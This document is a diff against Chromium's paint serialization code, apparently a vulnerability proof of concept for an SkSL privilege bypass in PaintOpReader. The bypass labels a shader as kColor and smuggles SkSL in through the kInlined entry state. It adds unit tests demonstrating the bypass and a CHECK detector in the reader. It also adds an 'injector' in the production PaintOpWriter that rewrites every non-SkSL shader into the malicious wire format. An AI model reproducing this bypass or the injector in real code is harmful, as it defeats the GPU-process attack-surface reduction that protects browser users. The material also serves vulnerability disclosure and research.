diff --git a/cc/paint/paint_op_buffer_unittest.cc b/cc/paint/paint_op_buffer_unittest.cc index c7cb91025b44e..7b94beef01f1e 100644 --- a/cc/paint/paint_op_buffer_unittest.cc +++ b/cc/paint/paint_op_buffer_unittest.cc @@ -137,6 +137,39 @@ class PaintOpSerializationTestUtils { {0.0f, 0.5f, 0.9f, 0.1f}}; shader->positions_ = {0.f, 0.4f, 1.f}; } + + // ===== POC HELPER: SkSL privilege bypass ===== + // + // Crafts a kColor PaintShader with private fields set such that the + // legitimate PaintOpWriter::Write(const PaintShader*) emits the malicious + // wire format: shader_type=kColor + entry_state=kInlined + arbitrary SkSL. + // + // A compromised renderer would do exactly this: set two private fields on + // a kColor shader before handing it to the (unmodified) serializer. The + // writer at paint_op_writer.cc:790-814 sees sk_runtime_effect_id_ != 0, + // finds it absent from ClientPaintCache, and writes kInlined + sksl_command_. + static sk_sp MakePocBypassShader(uint32_t effect_id, + std::string_view sksl) { + sk_sp shader = PaintShader::MakeColor(SkColors::kRed); + // The bypass: claim kColor (passes IsValidPaintShaderType, skips the + // is_privileged gate at paint_op_reader.cc:690 which only checks + // kSkSLCommand) but smuggle SkSL via the kInlined entry_state branch. + shader->sk_runtime_effect_id_ = effect_id; + shader->sksl_command_ = SkString(sksl); + return shader; + } + + // Friend-backed accessors to verify post-deserialization state. + static const SkString& GetSkslCommand(const PaintShader& s) { + return s.sksl_command_; + } + static uint32_t GetSkRuntimeEffectId(const PaintShader& s) { + return s.sk_runtime_effect_id_; + } + static const sk_sp& GetCachedSkRuntimeEffect( + const PaintShader& s) { + return s.cached_sk_runtime_effect_; + } }; TEST(PaintOpBufferTest, Empty) { @@ -3641,6 +3674,176 @@ TEST(PaintOpBufferTest, ASSERT_FALSE(deserialized_buffer); } +// ============================================================================= +// POC: — PaintOpReader SkSL privilege bypass +// CWE-863: Incorrect Authorization +// Location: cc/paint/paint_op_reader.cc:690-822 +// ============================================================================= +// +// The privilege gate at paint_op_reader.cc:690-694 rejects only +// shader_type == kSkSLCommand when !is_privileged. But the actual SkSL +// compilation — SkRuntimeEffect::MakeForShader at line 813 — lives in the +// PaintCacheEntryState::kInlined switch branch (lines 807-822), which is +// reached for ANY valid shader_type with NO cross-check. +// +// The kEmpty branch at lines 824-833 DOES validate ("A compromised client +// could send garbage data") but kInlined and kCached do not — a clear +// oversight. PaintShader::IsValid() for kColor returns true unconditionally +// (paint_shader.cc:686-687), so the post-check at reader line 849 also passes. +// +// In production this gate guards the GPU process: raster_decoder.cc:2950 sets +// is_privileged from channel()->is_gpu_host() (raster_command_buffer_stub.cc: +// 92), which is false for renderer channels. This bypass defeats the explicit +// attack-surface reduction added in BUG:894635, exposing the full SkSL +// compiler frontend (lexer/parser/IR/optimizer) to renderer-controlled input +// in the GPU process. +// +// This test simulates a compromised renderer by crafting a kColor PaintShader +// with sk_runtime_effect_id_ != 0 and a non-empty sksl_command_, then +// serializing it through the unmodified PaintOpWriter. The writer (lines +// 790-814) sees effect_id != 0, finds it absent from the cache, and emits +// entry_state=kInlined + the SkSL string — exactly the malicious wire format. +// +// On deserialization with is_privileged=false, the gate is skipped (kColor != +// kSkSLCommand), the kInlined branch runs, and SkRuntimeEffect::MakeForShader +// compiles the attacker-supplied SkSL. +// +// PROOF OF BYPASS: This test PASSES on the vulnerable code. After the fix +// (e.g., adding shader_type validation to the kInlined branch), the +// EXPECT_TRUE(reader.valid()) assertion will FAIL — that failure indicates +// the bug is fixed. +// +// SECURITY NOTE: To trigger memory corruption a renderer would need a second +// bug in the SkSL compiler. Both fuzzers (paint_op_raster_fuzzer.cc:98, +// gpu/command_buffer/tests/fuzzer_main.cc:426) hardcode is_privileged=true, +// so this path has zero fuzz coverage. +TEST(PaintOpBufferTest, POC_SkSLPrivilegeBypass_kColorWithInlinedEntry) { + // ---- Step 1: Craft the malicious PaintShader (compromised renderer) ---- + // Unique sentinel string proves OUR SkSL reached the compiler. + static constexpr char kPocSkSL[] = + "// POC-SENTINEL //\n" + "half4 main(float2 p) { return half4(0.25, 0.5, 0.75, 1.0); }"; + static constexpr uint32_t kPocEffectId = 0x41414141u; + + sk_sp malicious_shader = + PaintOpSerializationTestUtils::MakePocBypassShader(kPocEffectId, + kPocSkSL); + ASSERT_TRUE(malicious_shader); + ASSERT_EQ(malicious_shader->shader_type(), PaintShader::Type::kColor); + + // ---- Step 2: Serialize through unmodified PaintOpWriter ---- + // (renderer side; a compromised renderer runs this same code) + TestOptionsProvider options_provider; + auto buffer = AllocateSerializedBuffer(); + PaintOpWriter writer(buffer.get(), kDefaultSerializedBufferSize, + options_provider.serialize_options(), + /*enable_security_constraints=*/false); + writer.Write(malicious_shader.get(), PaintFlags::FilterQuality::kNone, + SkM44()); + ASSERT_GT(writer.size(), 0u); + + // Sanity: the SkSL sentinel string is in the wire bytes. + std::string_view wire(buffer.get(), writer.size()); + ASSERT_NE(wire.find("POC-SENTINEL"), std::string_view::npos) + << "SkSL string was not serialized; writer didn't take kInlined path"; + + // ---- Step 3: Deserialize with is_privileged=false (GPU process side) ---- + // This is exactly what RasterDecoderImpl::DoRasterCHROMIUM does for a + // renderer channel (raster_decoder.cc:2950, raster_command_buffer_stub.cc:92). + PaintOp::DeserializeOptions d_options(options_provider.deserialize_options()); + d_options.is_privileged = false; // <-- the gate that should have stopped us + + PaintOpReader reader(buffer.get(), writer.size(), d_options, + /*enable_security_constraints=*/false); + sk_sp deserialized; + reader.Read(&deserialized); + + // ============================================================ + // === BUG PROOF: All assertions below PASS on vulnerable code === + // ============================================================ + + // [1] The reader did NOT reject the payload. The privilege gate at + // paint_op_reader.cc:690 was bypassed because kColor != kSkSLCommand. + // SECURE BEHAVIOR: this should be FALSE. + EXPECT_TRUE(reader.valid()) + << "BUG IS FIXED: reader rejected unprivileged SkSL."; + ASSERT_TRUE(deserialized) + << "BUG IS FIXED: shader deserialization failed."; + + // [2] The shader claims to be kColor — the lie that bypassed the gate. + EXPECT_EQ(deserialized->shader_type(), PaintShader::Type::kColor); + + // [3] The attacker's effect_id was accepted (read unconditionally at + // paint_op_reader.cc:782 with no shader_type cross-check). + EXPECT_EQ( + PaintOpSerializationTestUtils::GetSkRuntimeEffectId(*deserialized), + kPocEffectId); + + // [4] The attacker's SkSL string was read into the shader (line 808). + // SECURE BEHAVIOR: a kColor shader should never have sksl_command_ set. + EXPECT_STREQ( + PaintOpSerializationTestUtils::GetSkslCommand(*deserialized).c_str(), + kPocSkSL); + + // [5] *** CORE PROOF: SkRuntimeEffect::MakeForShader RAN. *** + // The compiled effect is non-null only if the SkSL compiler at + // paint_op_reader.cc:813 successfully parsed/compiled our SkSL. + // SECURE BEHAVIOR: SkSL compiler should NEVER run for an unprivileged + // channel. This is the GPU-process attack-surface exposure. + const sk_sp& compiled = + PaintOpSerializationTestUtils::GetCachedSkRuntimeEffect(*deserialized); + EXPECT_TRUE(compiled) + << "BUG IS FIXED: SkSL compiler did not run (cached_sk_runtime_effect_ " + "is null)."; + + // [6] The compiled effect was stored in the GPU-process ServicePaintCache + // (paint_op_reader.cc:820) under the attacker-chosen ID. A renderer can + // thus pollute the GPU cache with arbitrary compiled SkSL effects. + sk_sp cached; + EXPECT_TRUE(options_provider.service_paint_cache()->GetEffect( + kPocEffectId, &cached)) + << "BUG IS FIXED: effect not stored in ServicePaintCache."; + EXPECT_EQ(cached.get(), compiled.get()); + + // [7] PaintShader::IsValid() for kColor returns true unconditionally + // (paint_shader.cc:686-687), so the post-check at reader line 849 + // does not catch the inconsistent state. + EXPECT_TRUE(deserialized->IsValid()); +} + +// Control test: prove the gate DOES work for the honest case. +// A legitimate kSkSLCommand shader IS rejected when is_privileged=false. +// This shows the gate exists; the POC above shows it can be bypassed. +TEST(PaintOpBufferTest, POC_SkSLPrivilegeBypass_ControlHonestShaderRejected) { + static constexpr char kSkSL[] = + "half4 main(float2 p) { return half4(1.0); }"; + sk_sp honest_shader = PaintShader::MakeSkSLCommand( + kSkSL, /*float_uniforms=*/{}, /*float2_uniforms=*/{}, + /*float4_uniforms=*/{}, /*int_uniforms=*/{}, + /*cached_paint_shader=*/nullptr); + ASSERT_TRUE(honest_shader); + ASSERT_EQ(honest_shader->shader_type(), PaintShader::Type::kSkSLCommand); + + TestOptionsProvider options_provider; + auto buffer = AllocateSerializedBuffer(); + PaintOpWriter writer(buffer.get(), kDefaultSerializedBufferSize, + options_provider.serialize_options(), + /*enable_security_constraints=*/false); + writer.Write(honest_shader.get(), PaintFlags::FilterQuality::kNone, SkM44()); + ASSERT_GT(writer.size(), 0u); + + PaintOp::DeserializeOptions d_options(options_provider.deserialize_options()); + d_options.is_privileged = false; + + PaintOpReader reader(buffer.get(), writer.size(), d_options, + /*enable_security_constraints=*/false); + sk_sp deserialized; + reader.Read(&deserialized); + + // The gate at line 690 fires for the honest kSkSLCommand type. + EXPECT_FALSE(reader.valid()); +} + TEST(PaintOpBufferTest, DrawSkottieOpRasterWithoutImageAssets) { scoped_refptr skottie = CreateSkottie(gfx::Size(100, 100), /*duration_secs=*/5); diff --git a/cc/paint/paint_op_reader.cc b/cc/paint/paint_op_reader.cc index 46eb807729287..8c712de250e8c 100644 --- a/cc/paint/paint_op_reader.cc +++ b/cc/paint/paint_op_reader.cc @@ -809,6 +809,22 @@ void PaintOpReader::Read(sk_sp* shader) { if (!valid_) { return; } + // ===== POC DETECTOR: SkSL privilege bypass ===== + // This CHECK enforces the invariant the gate at line 690-694 is + // SUPPOSED to provide: SkSL compilation only for privileged channels. + // If this fires in the GPU process, the bypass is proven end-to-end. + // The renderer-side injector in paint_op_writer.cc sends shader_type= + // kColor + entry_state=kInlined + SkSL, which reaches here with + // is_privileged=false (set by raster_command_buffer_stub.cc:92). + CHECK(options_.is_privileged) + << "===== POC: SkSL PRIVILEGE BYPASS PROVEN ===== " + << "shader_type=" << static_cast(ref.shader_type_) + << " (kSkSLCommand=8, kColor=1) " + << "effect_id=0x" << std::hex << ref.sk_runtime_effect_id_ + << " sksl=\"" << ref.sksl_command_.c_str() << "\" " + << "===== Unprivileged channel reached SkRuntimeEffect::" + "MakeForShader. Gate at line 690 was bypassed. ====="; + // ===== END POC DETECTOR ===== sk_sp effect = SkRuntimeEffect::MakeForShader(ref.sksl_command_).effect; if (!effect) { diff --git a/cc/paint/paint_op_writer.cc b/cc/paint/paint_op_writer.cc index 5c5f412e8dc3b..c811c6c6fdcff 100644 --- a/cc/paint/paint_op_writer.cc +++ b/cc/paint/paint_op_writer.cc @@ -787,6 +787,35 @@ void PaintOpWriter::Write(const PaintShader* shader, // Explicitly don't write the cached_shader_ because that can be regenerated // using other fields. + // ===== POC INJECTOR: SkSL privilege bypass ===== + // Simulate a compromised renderer. For ANY non-SkSL shader being serialized + // through OOP-raster, inject the malicious wire format: + // sk_runtime_effect_id_ = 0x41414141 (nonzero, attacker-chosen) + // entry_state = kInlined + // sksl_command_ = arbitrary SkSL source + // This passes the GPU-process gate at paint_op_reader.cc:690 because + // shader_type != kSkSLCommand. The kInlined branch at line 807-822 has + // NO shader_type cross-check and feeds the SkSL straight to MakeForShader. + if (shader->shader_type_ != PaintShader::Type::kSkSLCommand) { + static bool g_logged_once = false; + if (!g_logged_once) { + g_logged_once = true; + LOG(ERROR) << "===== POC INJECTOR ARMED: shader_type=" + << static_cast(shader->shader_type_) + << " — sending kInlined+SkSL to GPU process ====="; + } + WriteSimple(static_cast(0x41414141)); // sk_runtime_effect_id_ + Write(static_cast(PaintCacheEntryState::kInlined)); + Write(SkString( + "// POC-SENTINEL //\n" + "half4 main(float2 p) { return half4(0.25, 0.5, 0.75, 1.0); }")); + Write(shader->scalar_uniforms_); + Write(shader->float2_uniforms_); + Write(shader->float4_uniforms_); + Write(shader->int_uniforms_); + return; + } + // ===== END POC INJECTOR (original code below for kSkSLCommand) ===== uint32_t effect_id = shader->sk_runtime_effect_id_; WriteSimple(effect_id); auto* cache = options_.paint_cache;